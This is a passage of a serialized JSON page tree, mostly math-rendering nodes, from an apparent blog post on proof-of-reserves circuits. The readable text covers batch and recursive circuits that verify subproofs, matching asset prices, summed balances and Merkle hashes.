ype":25,"tag":201,"props":96060,"children":96062},{"className":96061},[5539],[96063],{"type":25,"tag":201,"props":96064,"children":96066},{"className":96065,"style":94214},[5544],[96067],{"type":25,"tag":201,"props":96068,"children":96069},{},[],{"type":25,"tag":201,"props":96071,"children":96073},{"className":96072},[23212],[96074],{"type":31,"value":423},{"type":25,"tag":201,"props":96076,"children":96078},{"className":96077},[5513,23083],[96079],{"type":31,"value":71},{"type":25,"tag":201,"props":96081,"children":96083},{"className":96082},[5513,23083],[96084],{"type":31,"value":94122},{"type":25,"tag":201,"props":96086,"children":96088},{"className":96087},[5513,23083],[96089],{"type":31,"value":23225},{"type":25,"tag":201,"props":96091,"children":96093},{"className":96092,"style":94131},[5513],[96094],{"type":31,"value":4589},{"type":25,"tag":201,"props":96096,"children":96098},{"className":96097},[5513,23083],[96099],{"type":31,"value":57482},{"type":25,"tag":201,"props":96101,"children":96103},{"className":96102},[5513,23083],[96104],{"type":31,"value":94390},{"type":25,"tag":201,"props":96106,"children":96108},{"className":96107},[5513,23083],[96109],{"type":31,"value":52211},{"type":25,"tag":201,"props":96111,"children":96113},{"className":96112},[23234],[96114],{"type":31,"value":16907},{"type":25,"tag":201,"props":96116,"children":96118},{"className":96117,"style":5691},[5593],[],{"type":25,"tag":201,"props":96120,"children":96122},{"className":96121},[5696],[96123],{"type":31,"value":1298},{"type":25,"tag":201,"props":96125,"children":96127},{"className":96126,"style":5691},[5593],[],{"type":25,"tag":201,"props":96129,"children":96131},{"className":96130},[5502],[96132,96136,96143,96148,96154,96159,96164,96169,96175,96180,96186,96192],{"type":25,"tag":201,"props":96133,"children":96135},{"className":96134,"style":94073},[5507],[],{"type":25,"tag":201,"props":96137,"children":96140},{"className":96138,"style":96139},[5513,23083],"margin-right:0.10903em;",[96141],{"type":31,"value":96142},"M",{"type":25,"tag":201,"props":96144,"children":96146},{"className":96145},[5513,23083],[96147],{"type":31,"value":77851},{"type":25,"tag":201,"props":96149,"children":96152},{"className":96150,"style":96151},[5513,23083],"margin-right:0.07847em;",[96153],{"type":31,"value":7641},{"type":25,"tag":201,"props":96155,"children":96157},{"className":96156,"style":94131},[5513],[96158],{"type":31,"value":4589},{"type":25,"tag":201,"props":96160,"children":96162},{"className":96161,"style":23542},[5513,23083],[96163],{"type":31,"value":23545},{"type":25,"tag":201,"props":96165,"children":96167},{"className":96166},[5513,23083],[96168],{"type":31,"value":77851},{"type":25,"tag":201,"props":96170,"children":96172},{"className":96171,"style":23542},[5513,23083],[96173],{"type":31,"value":96174},"FE",{"type":25,"tag":201,"props":96176,"children":96178},{"className":96177,"style":94131},[5513],[96179],{"type":31,"value":4589},{"type":25,"tag":201,"props":96181,"children":96183},{"className":96182,"style":96151},[5513,23083],[96184],{"type":31,"value":96185},"I",{"type":25,"tag":201,"props":96187,"children":96189},{"className":96188,"style":23084},[5513,23083],[96190],{"type":31,"value":96191},"NT",{"type":25,"tag":201,"props":96193,"children":96195},{"className":96194},[5513],[96196],{"type":31,"value":96197},"/512",{"type":31,"value":7966},{"type":25,"tag":1252,"props":96200,"children":96201},{},[96202],{"type":31,"value":96203},"(overflow check)",{"type":31,"value":96205}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":25,"tag":115,"props":96207,"children":96209},{"className":96208},[],[96210],{"type":31,"value":93989},{"type":31,"value":3073},{"type":25,"tag":34,"props":96213,"children":96214},{},[96215],{"type":31,"value":96216},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":25,"tag":34,"props":96218,"children":96219},{},[96220],{"type":25,"tag":127,"props":96221,"children":96223},{"alt":51656,"src":96222},"/posts/por/batch-circuit-inputs.png",[],{"type":25,"tag":40,"props":96225,"children":96227},{"id":96226},"recursive-circuit",[96228],{"type":31,"value":96229},"Recursive Circuit",{"type":25,"tag":34,"props":96231,"children":96232},{},[96233],{"type":31,"value":96234},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":25,"tag":34,"props":96236,"children":96237},{},[96238],{"type":25,"tag":1252,"props":96239,"children":96240},{},[96241],{"type":31,"value":94503},{"type":25,"tag":18183,"props":96243,"children":96244},{},[96245,96249,96254],{"type":25,"tag":6948,"props":96246,"children":96247},{},[96248],{"type":31,"value":94521},{"type":25,"tag":6948,"props":96250,"children":96251},{},[96252],{"type":31,"value":96253},"Asset prices",{"type":25,"tag":6948,"props":96255,"children":96256},{},[96257],{"type":31,"value":94516},{"type":25,"tag":34,"props":96259,"children":96260},{},[96261],{"type":25,"tag":1252,"props":96262,"children":96263},{},[96264],{"type":31,"value":94529},{"type":25,"tag":18183,"props":96266,"children":96267},{},[96268],{"type":25,"tag":6948,"props":96269,"children":96270},{},[96271],{"type":31,"value":96272},"8 subproofs",{"type":25,"tag":34,"props":96274,"children":96275},{},[96276],{"type":25,"tag":1252,"props":96277,"children":96278},{},[96279],{"type":31,"value":94550},{"type":25,"tag":18183,"props":96281,"children":96282},{},[96283,96693,97024,97391,97778],{"type":25,"tag":6948,"props":96284,"children":96285},{},[96286,96688,96689],{"type":25,"tag":115,"props":96287,"children":96289},{"className":96288},[5485,5486],[96290],{"type":25,"tag":201,"props":96291,"children":96293},{"className":96292},[5491],[96294],{"type":25,"tag":201,"props":96295,"children":96297},{"className":96296,"ariaHidden":5497},[5496],[96298,96434],{"type":25,"tag":201,"props":96299,"children":96301},{"className":96300},[5502],[96302,96306,96311,96316,96321,96326,96331,96336,96341,96346,96351,96356,96361,96366,96371,96376,96381,96386,96391,96396,96401,96406,96411,96416,96421,96425,96430],{"type":25,"tag":201,"props":96303,"children":96305},{"className":96304,"style":94073},[5507],[],{"type":25,"tag":201,"props":96307,"children":96309},{"className":96308},[5513,23083],[96310],{"type":31,"value":23225},{"type":25,"tag":201,"props":96312,"children":96314},{"className":96313},[5513,23083],[96315],{"type":31,"value":94101},{"type":25,"tag":201,"props":96317,"children":96319},{"className":96318},[5513,23083],[96320],{"type":31,"value":23225},{"type":25,"tag":201,"props":96322,"children":96324},{"className":96323},[5513,23083],[96325],{"type":31,"value":71},{"type":25,"tag":201,"props":96327,"children":96329},{"className":96328,"style":94143},[5513,23083],[96330],{"type":31,"value":94146},{"type":25,"tag":201,"props":96332,"children":96334},{"className":96333,"style":94131},[5513],[96335],{"type":31,"value":4589},{"type":25,"tag":201,"props":96337,"children":96339},{"className":96338},[5513,23083],[96340],{"type":31,"value":71},{"type":25,"tag":201,"props":96342,"children":96344},{"className":96343},[5513,23083],[96345],{"type":31,"value":94122},{"type":25,"tag":201,"props":96347,"children":96349},{"className":96348},[5513,23083],[96350],{"type":31,"value":23225},{"type":25,"tag":201,"props":96352,"children":96354},{"className":96353,"style":94131},[5513],[96355],{"type":31,"value":4589},{"type":25,"tag":201,"props":96357,"children":96359},{"className":96358},[5513,23083],[96360],{"type":31,"value":94139},{"type":25,"tag":201,"props":96362,"children":96364},{"className":96363,"style":94143},[5513,23083],[96365],{"type":31,"value":94146},{"type":25,"tag":201,"props":96367,"children":96369},{"className":96368},[5513,23083],[96370],{"type":31,"value":94152},{"type":25,"tag":201,"props":96372,"children":96374},{"className":96373},[5513,23083],[96375],{"type":31,"value":94158},{"type":25,"tag":201,"props":96377,"children":96379},{"className":96378},[23212],[96380],{"type":31,"value":423},{"type":25,"tag":201,"props":96382,"children":96384},{"className":96383},[5513,23083],[96385],{"type":31,"value":71},{"type":25,"tag":201,"props":96387,"children":96389},{"className":96388},[5513,23083],[96390],{"type":31,"value":94122},{"type":25,"tag":201,"props":96392,"children":96394},{"className":96393},[5513,23083],[96395],{"type":31,"value":23225},{"type":25,"tag":201,"props":96397,"children":96399},{"className":96398,"style":94131},[5513],[96400],{"type":31,"value":4589},{"type":25,"tag":201,"props":96402,"children":96404},{"className":96403},[5513,23083],[96405],{"type":31,"value":57482},{"type":25,"tag":201,"props":96407,"children":96409},{"className":96408},[5513,23083],[96410],{"type":31,"value":94390},{"type":25,"tag":201,"props":96412,"children":96414},{"className":96413},[5513,23083],[96415],{"type":31,"value":52211},{"type":25,"tag":201,"props":96417,"children":96419},{"className":96418},[23234],[96420],{"type":31,"value":16907},{"type":25,"tag":201,"props":96422,"children":96424},{"className":96423,"style":5691},[5593],[],{"type":25,"tag":201,"props":96426,"children":96428},{"className":96427},[5696],[96429],{"type":31,"value":10083},{"type":25,"tag":201,"props":96431,"children":96433},{"className":96432,"style":5691},[5593],[],{"type":25,"tag":201,"props":96435,"children":96437},{"className":96436},[5502],[96438,96442,96447,96452,96457,96462,96467,96472,96478,96537,96542,96547,96552,96557,96562,96567,96572,96577,96583,96588,96593,96598,96603,96608,96613,96618,96623,96628,96633,96638,96643,96648,96653,96658,96663,96668,96673,96678,96683],{"type":25,"tag":201,"props":96439,"children":96441},{"className":96440,"style":94073},[5507],[],{"type":25,"tag":201,"props":96443,"children":96445},{"className":96444},[5513],[96446],{"type":31,"value":94721},{"type":25,"tag":201,"props":96448,"children":96450},{"className":96449},[5593],[96451],{"type":31,"value":23184},{"type":25,"tag":201,"props":96453,"children":96455},{"className":96454},[5513,23083],[96456],{"type":31,"value":12153},{"type":25,"tag":201,"props":96458,"children":96460},{"className":96459},[5513,23083],[96461],{"type":31,"value":94390},{"type":25,"tag":201,"props":96463,"children":96465},{"className":96464},[5513,23083],[96466],{"type":31,"value":4729},{"type":25,"tag":201,"props":96468,"children":96470},{"className":96469},[5513,23083],[96471],{"type":31,"value":34},{"type":25,"tag":201,"props":96473,"children":96475},{"className":96474},[5513,23083],[96476],{"type":31,"value":96477},"roo",{"type":25,"tag":201,"props":96479,"children":96481},{"className":96480},[5513],[96482,96488],{"type":25,"tag":201,"props":96483,"children":96486},{"className":96484,"style":96485},[5513,23083],"margin-right:0.10764em;",[96487],{"type":31,"value":2020},{"type":25,"tag":201,"props":96489,"children":96491},{"className":96490},[5529],[96492],{"type":25,"tag":201,"props":96493,"children":96495},{"className":96494},[5534,23137],[96496,96526],{"type":25,"tag":201,"props":96497,"children":96499},{"className":96498},[5539],[96500,96521],{"type":25,"tag":201,"props":96501,"children":96503},{"className":96502,"style":94660},[5544],[96504],{"type":25,"tag":201,"props":96505,"children":96507},{"style":96506},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[96508,96512],{"type":25,"tag":201,"props":96509,"children":96511},{"className":96510,"style":5554},[5553],[],{"type":25,"tag":201,"props":96513,"children":96515},{"className":96514},[5559,5560,5561,5562],[96516],{"type":25,"tag":201,"props":96517,"children":96519},{"className":96518},[5513,23083,5562],[96520],{"type":31,"value":3641},{"type":25,"tag":201,"props":96522,"children":96524},{"className":96523},[23240],[96525],{"type":31,"value":23243},{"type":25,"tag":201,"props":96527,"children":96529},{"className":96528},[5539],[96530],{"type":25,"tag":201,"props":96531,"children":96533},{"className":96532,"style":94214},[5544],[96534],{"type":25,"tag":201,"props":96535,"children":96536},{},[],{"type":25,"tag":201,"props":96538,"children":96540},{"className":96539},[5513],[96541],{"type":31,"value":80},{"type":25,"tag":201,"props":96543,"children":96545},{"className":96544},[5513,23083],[96546],{"type":31,"value":34},{"type":25,"tag":201,"props":96548,"children":96550},{"className":96549},[5513,23083],[96551],{"type":31,"value":94390},{"type":25,"tag":201,"props":96553,"children":96555},{"className":96554},[5513,23083],[96556],{"type":31,"value":4729},{"type":25,"tag":201,"props":96558,"children":96560},{"className":96559,"style":94143},[5513,23083],[96561],{"type":31,"value":94146},{"type":25,"tag":201,"props":96563,"children":96565},{"className":96564},[5513,23083],[96566],{"type":31,"value":3641},{"type":25,"tag":201,"props":96568,"children":96570},{"className":96569},[5513,23083],[96571],{"type":31,"value":4652},{"type":25,"tag":201,"props":96573,"children":96575},{"className":96574,"style":94131},[5513],[96576],{"type":31,"value":4589},{"type":25,"tag":201,"props":96578,"children":96580},{"className":96579},[5513,23083],[96581],{"type":31,"value":96582},"in",{"type":25,"tag":201,"props":96584,"children":96586},{"className":96585},[5513,23083],[96587],{"type":31,"value":34},{"type":25,"tag":201,"props":96589,"children":96591},{"className":96590},[5513,23083],[96592],{"type":31,"value":94390},{"type":25,"tag":201,"props":96594,"children":96596},{"className":96595},[5513,23083],[96597],{"type":31,"value":23225},{"type":25,"tag":201,"props":96599,"children":96601},{"className":96600},[5513],[96602],{"type":31,"value":80},{"type":25,"tag":201,"props":96604,"children":96606},{"className":96605},[5513,23083],[96607],{"type":31,"value":71},{"type":25,"tag":201,"props":96609,"children":96611},{"className":96610},[5513,23083],[96612],{"type":31,"value":94122},{"type":25,"tag":201,"props":96614,"children":96616},{"className":96615},[5513,23083],[96617],{"type":31,"value":23225},{"type":25,"tag":201,"props":96619,"children":96621},{"className":96620,"style":94131},[5513],[96622],{"type":31,"value":4589},{"type":25,"tag":201,"props":96624,"children":96626},{"className":96625},[5513,23083],[96627],{"type":31,"value":94139},{"type":25,"tag":201,"props":96629,"children":96631},{"className":96630,"style":94143},[5513,23083],[96632],{"type":31,"value":94146},{"type":25,"tag":201,"props":96634,"children":96636},{"className":96635},[5513,23083],[96637],{"type":31,"value":94152},{"type":25,"tag":201,"props":96639,"children":96641},{"className":96640},[5513,23083],[96642],{"type":31,"value":94961},{"type":25,"tag":201,"props":96644,"children":96646},{"className":96645},[23212],[96647],{"type":31,"value":423},{"type":25,"tag":201,"props":96649,"children":96651},{"className":96650},[5513,23083],[96652],{"type":31,"value":71},{"type":25,"tag":201,"props":96654,"children":96656},{"className":96655},[5513,23083],[96657],{"type":31,"value":94122},{"type":25,"tag":201,"props":96659,"children":96661},{"className":96660},[5513,23083],[96662],{"type":31,"value":23225},{"type":25,"tag":201,"props":96664,"children":96666},{"className":96665,"style":94131},[5513],[96667],{"type":31,"value":4589},{"type":25,"tag":201,"props":96669,"children":96671},{"className":96670},[5513,23083],[96672],{"type":31,"value":57482},{"type":25,"tag":201,"props":96674,"children":96676},{"className":96675},[5513,23083],[96677],{"type":31,"value":94390},{"type":25,"tag":201,"props":96679,"children":96681},{"className":96680},[5513,23083],[96682],{"type":31,"value":52211},{"type":25,"tag":201,"props":96684,"children":96686},{"className":96685},[23234],[96687],{"type":31,"value":16907},{"type":31,"value":7966},{"type":25,"tag":1252,"props":96690,"children":96691},{},[96692],{"type":31,"value":95521},{"type":25,"tag":6948,"props":96694,"children":96695},{},[96696],{"type":25,"tag":115,"props":96697,"children":96699},{"className":96698},[5485,5486],[96700],{"type":25,"tag":201,"props":96701,"children":96703},{"className":96702},[5491],[96704],{"type":25,"tag":201,"props":96705,"children":96707},{"className":96706,"ariaHidden":5497},[5496],[96708,96814],{"type":25,"tag":201,"props":96709,"children":96711},{"className":96710},[5502],[96712,96716,96721,96726,96731,96736,96741,96746,96751,96756,96761,96766,96771,96776,96781,96786,96791,96796,96801,96805,96810],{"type":25,"tag":201,"props":96713,"children":96715},{"className":96714,"style":94073},[5507],[],{"type":25,"tag":201,"props":96717,"children":96719},{"className":96718},[5513,23083],[96720],{"type":31,"value":71},{"type":25,"tag":201,"props":96722,"children":96724},{"className":96723},[5513,23083],[96725],{"type":31,"value":94122},{"type":25,"tag":201,"props":96727,"children":96729},{"className":96728},[5513,23083],[96730],{"type":31,"value":23225},{"type":25,"tag":201,"props":96732,"children":96734},{"className":96733,"style":94131},[5513],[96735],{"type":31,"value":4589},{"type":25,"tag":201,"props":96737,"children":96739},{"className":96738},[5513,23083],[96740],{"type":31,"value":34},{"type":25,"tag":201,"props":96742,"children":96744},{"className":96743,"style":94131},[5513,23083],[96745],{"type":31,"value":94950},{"type":25,"tag":201,"props":96747,"children":96749},{"className":96748},[5513,23083],[96750],{"type":31,"value":3641},{"type":25,"tag":201,"props":96752,"children":96754},{"className":96753},[5513,23083],[96755],{"type":31,"value":94158},{"type":25,"tag":201,"props":96757,"children":96759},{"className":96758},[23212],[96760],{"type":31,"value":423},{"type":25,"tag":201,"props":96762,"children":96764},{"className":96763},[5513,23083],[96765],{"type":31,"value":71},{"type":25,"tag":201,"props":96767,"children":96769},{"className":96768},[5513,23083],[96770],{"type":31,"value":94122},{"type":25,"tag":201,"props":96772,"children":96774},{"className":96773},[5513,23083],[96775],{"type":31,"value":23225},{"type":25,"tag":201,"props":96777,"children":96779},{"className":96778,"style":94131},[5513],[96780],{"type":31,"value":4589},{"type":25,"tag":201,"props":96782,"children":96784},{"className":96783},[5513,23083],[96785],{"type":31,"value":57482},{"type":25,"tag":201,"props":96787,"children":96789},{"className":96788},[5513,23083],[96790],{"type":31,"value":94390},{"type":25,"tag":201,"props":96792,"children":96794},{"className":96793},[5513,23083],[96795],{"type":31,"value":52211},{"type":25,"tag":201,"props":96797,"children":96799},{"className":96798},[23234],[96800],{"type":31,"value":16907},{"type":25,"tag":201,"props":96802,"children":96804},{"className":96803,"style":5691},[5593],[],{"type":25,"tag":201,"props":96806,"children":96808},{"className":96807},[5696],[96809],{"type":31,"value":10083},{"type":25,"tag":201,"props":96811,"children":96813},{"className":96812,"style":5691},[5593],[],{"type":25,"tag":201,"props":96815,"children":96817},{"className":96816},[5502],[96818,96822,96827,96832,96837,96842,96847,96904,96909,96914,96919,96924,96929,96934,96939,96944,96949,96954,96959,96964,96969,96974,96979,96984,96989,96994,96999,97004,97009,97014,97019],{"type":25,"tag":201,"props":96819,"children":96821},{"className":96820,"style":94073},[5507],[],{"type":25,"tag":201,"props":96823,"children":96825},{"className":96824},[5513,23083],[96826],{"type":31,"value":12153},{"type":25,"tag":201,"props":96828,"children":96830},{"className":96829},[5513,23083],[96831],{"type":31,"value":94390},{"type":25,"tag":201,"props":96833,"children":96835},{"className":96834},[5513,23083],[96836],{"type":31,"value":4729},{"type":25,"tag":201,"props":96838,"children":96840},{"className":96839},[5513,23083],[96841],{"type":31,"value":34},{"type":25,"tag":201,"props":96843,"children":96845},{"className":96844},[5513,23083],[96846],{"type":31,"value":96477},{"type":25,"tag":201,"props":96848,"children":96850},{"className":96849},[5513],[96851,96856],{"type":25,"tag":201,"props":96852,"children":96854},{"className":96853,"style":96485},[5513,23083],[96855],{"type":31,"value":2020},{"type":25,"tag":201,"props":96857,"children":96859},{"className":96858},[5529],[96860],{"type":25,"tag":201,"props":96861,"children":96863},{"className":96862},[5534,23137],[96864,96893],{"type":25,"tag":201,"props":96865,"children":96867},{"className":96866},[5539],[96868,96888],{"type":25,"tag":201,"props":96869,"children":96871},{"className":96870,"style":94660},[5544],[96872],{"type":25,"tag":201,"props":96873,"children":96874},{"style":96506},[96875,96879],{"type":25,"tag":201,"props":96876,"children":96878},{"className":96877,"style":5554},[5553],[],{"type":25,"tag":201,"props":96880,"children":96882},{"className":96881},[5559,5560,5561,5562],[96883],{"type":25,"tag":201,"props":96884,"children":96886},{"className":96885},[5513,23083,5562],[96887],{"type":31,"value":3641},{"type":25,"tag":201,"props":96889,"children":96891},{"className":96890},[23240],[96892],{"type":31,"value":23243},{"type":25,"tag":201,"props":96894,"children":96896},{"className":96895},[5539],[96897],{"type":25,"tag":201,"props":96898,"children":96900},{"className":96899,"style":94214},[5544],[96901],{"type":25,"tag":201,"props":96902,"children":96903},{},[],{"type":25,"tag":201,"props":96905,"children":96907},{"className":96906},[5513],[96908],{"type":31,"value":80},{"type":25,"tag":201,"props":96910,"children":96912},{"className":96911},[5513,23083],[96913],{"type":31,"value":34},{"type":25,"tag":201,"props":96915,"children":96917},{"className":96916},[5513,23083],[96918],{"type":31,"value":94390},{"type":25,"tag":201,"props":96920,"children":96922},{"className":96921},[5513,23083],[96923],{"type":31,"value":4729},{"type":25,"tag":201,"props":96925,"children":96927},{"className":96926,"style":94143},[5513,23083],[96928],{"type":31,"value":94146},{"type":25,"tag":201,"props":96930,"children":96932},{"className":96931},[5513,23083],[96933],{"type":31,"value":3641},{"type":25,"tag":201,"props":96935,"children":96937},{"className":96936},[5513,23083],[96938],{"type":31,"value":4652},{"type":25,"tag":201,"props":96940,"children":96942},{"className":96941,"style":94131},[5513],[96943],{"type":31,"value":4589},{"type":25,"tag":201,"props":96945,"children":96947},{"className":96946},[5513,23083],[96948],{"type":31,"value":96582},{"type":25,"tag":201,"props":96950,"children":96952},{"className":96951},[5513,23083],[96953],{"type":31,"value":34},{"type":25,"tag":201,"props":96955,"children":96957},{"className":96956},[5513,23083],[96958],{"type":31,"value":94390},{"type":25,"tag":201,"props":96960,"children":96962},{"className":96961},[5513,23083],[96963],{"type":31,"value":23225},{"type":25,"tag":201,"props":96965,"children":96967},{"className":96966},[5513],[96968],{"type":31,"value":80},{"type":25,"tag":201,"props":96970,"children":96972},{"className":96971},[5513,23083],[96973],{"type":31,"value":71},{"type":25,"tag":201,"props":96975,"children":96977},{"className":96976},[5513,23083],[96978],{"type":31,"value":94122},{"type":25,"tag":201,"props":96980,"children":96982},{"className":96981},[5513,23083],[96983],{"type":31,"value":23225},{"type":25,"tag":201,"props":96985,"children":96987},{"className":96986,"style":94131},[5513],[96988],{"type":31,"value":4589},{"type":25,"tag":201,"props":96990,"children":96992},{"className":96991},[5513,23083],[96993],{"type":31,"value":34},{"type":25,"tag":201,"props":96995,"children":96997},{"className":96996,"style":94131},[5513,23083],[96998],{"type":31,"value":94950},{"type":25,"tag":201,"props":97000,"children":97002},{"className":97001},[5513,23083],[97003],{"type":31,"value":3641},{"type":25,"tag":201,"props":97005,"children":97007},{"className":97006},[5513,23083],[97008],{"type":31,"value":94961},{"type":25,"tag":201,"props":97010,"children":97012},{"className":97011},[23212],[97013],{"type":31,"value":423},{"type":25,"tag":201,"props":97015,"children":97017},{"className":97016},[5513],[97018],{"type":31,"value":429},{"type":25,"tag":201,"props":97020,"children":97022},{"className":97021},[23234],[97023],{"type":31,"value":16907},{"type":25,"tag":6948,"props":97025,"children":97026},{},[97027,97385,97386],{"type":25,"tag":115,"props":97028,"children":97030},{"className":97029},[5485,5486],[97031],{"type":25,"tag":201,"props":97032,"children":97034},{"className":97033},[5491],[97035],{"type":25,"tag":201,"props":97036,"children":97038},{"className":97037,"ariaHidden":5497},[5496],[97039,97145],{"type":25,"tag":201,"props":97040,"children":97042},{"className":97041},[5502],[97043,97047,97052,97057,97062,97067,97072,97077,97082,97087,97092,97097,97102,97107,97112,97117,97122,97127,97132,97136,97141],{"type":25,"tag":201,"props":97044,"children":97046},{"className":97045,"style":94073},[5507],[],{"type":25,"tag":201,"props":97048,"children":97050},{"className":97049},[5513,23083],[97051],{"type":31,"value":71},{"type":25,"tag":201,"props":97053,"children":97055},{"className":97054},[5513,23083],[97056],{"type":31,"value":94122},{"type":25,"tag":201,"props":97058,"children":97060},{"className":97059},[5513,23083],[97061],{"type":31,"value":23225},{"type":25,"tag":201,"props":97063,"children":97065},{"className":97064,"style":94131},[5513],[97066],{"type":31,"value":4589},{"type":25,"tag":201,"props":97068,"children":97070},{"className":97069},[5513,23083],[97071],{"type":31,"value":34},{"type":25,"tag":201,"props":97073,"children":97075},{"className":97074,"style":94131},[5513,23083],[97076],{"type":31,"value":94950},{"type":25,"tag":201,"props":97078,"children":97080},{"className":97079},[5513,23083],[97081],{"type":31,"value":3641},{"type":25,"tag":201,"props":97083,"children":97085},{"className":97084},[5513,23083],[97086],{"type":31,"value":94158},{"type":25,"tag":201,"props":97088,"children":97090},{"className":97089},[23212],[97091],{"type":31,"value":423},{"type":25,"tag":201,"props":97093,"children":97095},{"className":97094},[5513,23083],[97096],{"type":31,"value":71},{"type":25,"tag":201,"props":97098,"children":97100},{"className":97099},[5513,23083],[97101],{"type":31,"value":94122},{"type":25,"tag":201,"props":97103,"children":97105},{"className":97104},[5513,23083],[97106],{"type":31,"value":23225},{"type":25,"tag":201,"props":97108,"children":97110},{"className":97109,"style":94131},[5513],[97111],{"type":31,"value":4589},{"type":25,"tag":201,"props":97113,"children":97115},{"className":97114},[5513,23083],[97116],{"type":31,"value":57482},{"type":25,"tag":201,"props":97118,"children":97120},{"className":97119},[5513,23083],[97121],{"type":31,"value":94390},{"type":25,"tag":201,"props":97123,"children":97125},{"className":97124},[5513,23083],[97126],{"type":31,"value":52211},{"type":25,"tag":201,"props":97128,"children":97130},{"className":97129},[23234],[97131],{"type":31,"value":16907},{"type":25,"tag":201,"props":97133,"children":97135},{"className":97134,"style":5691},[5593],[],{"type":25,"tag":201,"props":97137,"children":97139},{"className":97138},[5696],[97140],{"type":31,"value":10083},{"type":25,"tag":201,"props":97142,"children":97144},{"className":97143,"style":5691},[5593],[],{"type":25,"tag":201,"props":97146,"children":97148},{"className":97147},[5502],[97149,97153,97158,97163,97168,97173,97178,97235,97240,97245,97250,97255,97260,97265,97270,97275,97280,97285,97290,97295,97300,97305,97310,97315,97320,97325,97330,97335,97340,97345,97350,97355,97360,97365,97370,97375,97380],{"type":25,"tag":201,"props":97150,"children":97152},{"className":97151,"style":94073},[5507],[],{"type":25,"tag":201,"props":97154,"children":97156},{"className":97155},[5513,23083],[97157],{"type":31,"value":12153},{"type":25,"tag":201,"props":97159,"children":97161},{"className":97160},[5513,23083],[97162],{"type":31,"value":94390},{"type":25,"tag":201,"props":97164,"children":97166},{"className":97165},[5513,23083],[97167],{"type":31,"value":4729},{"type":25,"tag":201,"props":97169,"children":97171},{"className":97170},[5513,23083],[97172],{"type":31,"value":34},{"type":25,"tag":201,"props":97174,"children":97176},{"className":97175},[5513,23083],[97177],{"type":31,"value":96477},{"type":25,"tag":201,"props":97179,"children":97181},{"className":97180},[5513],[97182,97187],{"type":25,"tag":201,"props":97183,"children":97185},{"className":97184,"style":96485},[5513,23083],[97186],{"type":31,"value":2020},{"type":25,"tag":201,"props":97188,"children":97190},{"className":97189},[5529],[97191],{"type":25,"tag":201,"props":97192,"children":97194},{"className":97193},[5534,23137],[97195,97224],{"type":25,"tag":201,"props":97196,"children":97198},{"className":97197},[5539],[97199,97219],{"type":25,"tag":201,"props":97200,"children":97202},{"className":97201,"style":94660},[5544],[97203],{"type":25,"tag":201,"props":97204,"children":97205},{"style":96506},[97206,97210],{"type":25,"tag":201,"props":97207,"children":97209},{"className":97208,"style":5554},[5553],[],{"type":25,"tag":201,"props":97211,"children":97213},{"className":97212},[5559,5560,5561,5562],[97214],{"type":25,"tag":201,"props":97215,"children":97217},{"className":97216},[5513,23083,5562],[97218],{"type":31,"value":3641},{"type":25,"tag":201,"props":97220,"children":97222},{"className":97221},[23240],[97223],{"type":31,"value":23243},{"type":25,"tag":201,"props":97225,"children":97227},{"className":97226},[5539],[97228],{"type":25,"tag":201,"props":97229,"children":97231},{"className":97230,"style":94214},[5544],[97232],{"type":25,"tag":201,"props":97233,"children":97234},{},[],{"type":25,"tag":201,"props":97236,"children":97238},{"className":97237},[5513],[97239],{"type":31,"value":80},{"type":25,"tag":201,"props":97241,"children":97243},{"className":97242},[5513,23083],[97244],{"type":31,"value":34},{"type":25,"tag":201,"props":97246,"children":97248},{"className":97247},[5513,23083],[97249],{"type":31,"value":94390},{"type":25,"tag":201,"props":97251,"children":97253},{"className":97252},[5513,23083],[97254],{"type":31,"value":4729},{"type":25,"tag":201,"props":97256,"children":97258},{"className":97257,"style":94143},[5513,23083],[97259],{"type":31,"value":94146},{"type":25,"tag":201,"props":97261,"children":97263},{"className":97262},[5513,23083],[97264],{"type":31,"value":3641},{"type":25,"tag":201,"props":97266,"children":97268},{"className":97267},[5513,23083],[97269],{"type":31,"value":4652},{"type":25,"tag":201,"props":97271,"children":97273},{"className":97272,"style":94131},[5513],[97274],{"type":31,"value":4589},{"type":25,"tag":201,"props":97276,"children":97278},{"className":97277},[5513,23083],[97279],{"type":31,"value":96582},{"type":25,"tag":201,"props":97281,"children":97283},{"className":97282},[5513,23083],[97284],{"type":31,"value":34},{"type":25,"tag":201,"props":97286,"children":97288},{"className":97287},[5513,23083],[97289],{"type":31,"value":94390},{"type":25,"tag":201,"props":97291,"children":97293},{"className":97292},[5513,23083],[97294],{"type":31,"value":23225},{"type":25,"tag":201,"props":97296,"children":97298},{"className":97297},[5513],[97299],{"type":31,"value":80},{"type":25,"tag":201,"props":97301,"children":97303},{"className":97302},[5513,23083],[97304],{"type":31,"value":71},{"type":25,"tag":201,"props":97306,"children":97308},{"className":97307},[5513,23083],[97309],{"type":31,"value":94122},{"type":25,"tag":201,"props":97311,"children":97313},{"className":97312},[5513,23083],[97314],{"type":31,"value":23225},{"type":25,"tag":201,"props":97316,"children":97318},{"className":97317,"style":94131},[5513],[97319],{"type":31,"value":4589},{"type":25,"tag":201,"props":97321,"children":97323},{"className":97322},[5513,23083],[97324],{"type":31,"value":34},{"type":25,"tag":201,"props":97326,"children":97328},{"className":97327,"style":94131},[5513,23083],[97329],{"type":31,"value":94950},{"type":25,"tag":201,"props":97331,"children":97333},{"className":97332},[5513,23083],[97334],{"type":31,"value":3641},{"type":25,"tag":201,"props":97336,"children":97338},{"className":97337},[5513,23083],[97339],{"type":31,"value":94961},{"type":25,"tag":201,"props":97341,"children":97343},{"className":97342},[23212],[97344],{"type":31,"value":423},{"type":25,"tag":201,"props":97346,"children":97348},{"className":97347},[5513,23083],[97349],{"type":31,"value":71},{"type":25,"tag":201,"props":97351,"children":97353},{"className":97352},[5513,23083],[97354],{"type":31,"value":94122},{"type":25,"tag":201,"props":97356,"children":97358},{"className":97357},[5513,23083],[97359],{"type":31,"value":23225},{"type":25,"tag":201,"props":97361,"children":97363},{"className":97362,"style":94131},[5513],[97364],{"type":31,"value":4589},{"type":25,"tag":201,"props":97366,"children":97368},{"className":97367},[5513,23083],[97369],{"type":31,"value":57482},{"type":25,"tag":201,"props":97371,"children":97373},{"className":97372},[5513,23083],[97374],{"type":31,"value":94390},{"type":25,"tag":201,"props":97376,"children":97378},{"className":97377},[5513,23083],[97379],{"type":31,"value":52211},{"type":25,"tag":201,"props":97381,"children":97383},{"className":97382},[23234],[97384],{"type":31,"value":16907},{"type":31,"value":7966},{"type":25,"tag":1252,"props":97387,"children":97388},{},[97